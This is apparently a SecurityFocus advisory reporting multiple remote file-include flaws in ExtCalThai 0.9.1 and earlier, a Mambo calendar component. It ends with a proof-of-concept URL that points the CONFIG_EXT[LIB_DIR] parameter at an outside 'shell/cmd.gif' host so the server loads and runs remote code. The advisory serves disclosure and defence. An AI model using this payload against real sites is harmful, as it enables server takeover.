source: http://www.securityfocus.com/bid/20487/info
 
ExtCalThai is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
ExtCalThai 0.9.1 and prior verions are vulnerable; other versions may also be affected.

http://www.example.com/MamboV4.6RC2/components/com_extcalendar/lib/mail.inc.php?CONFIG_EXT[LIB_DIR]=http://shell/cmd.gif?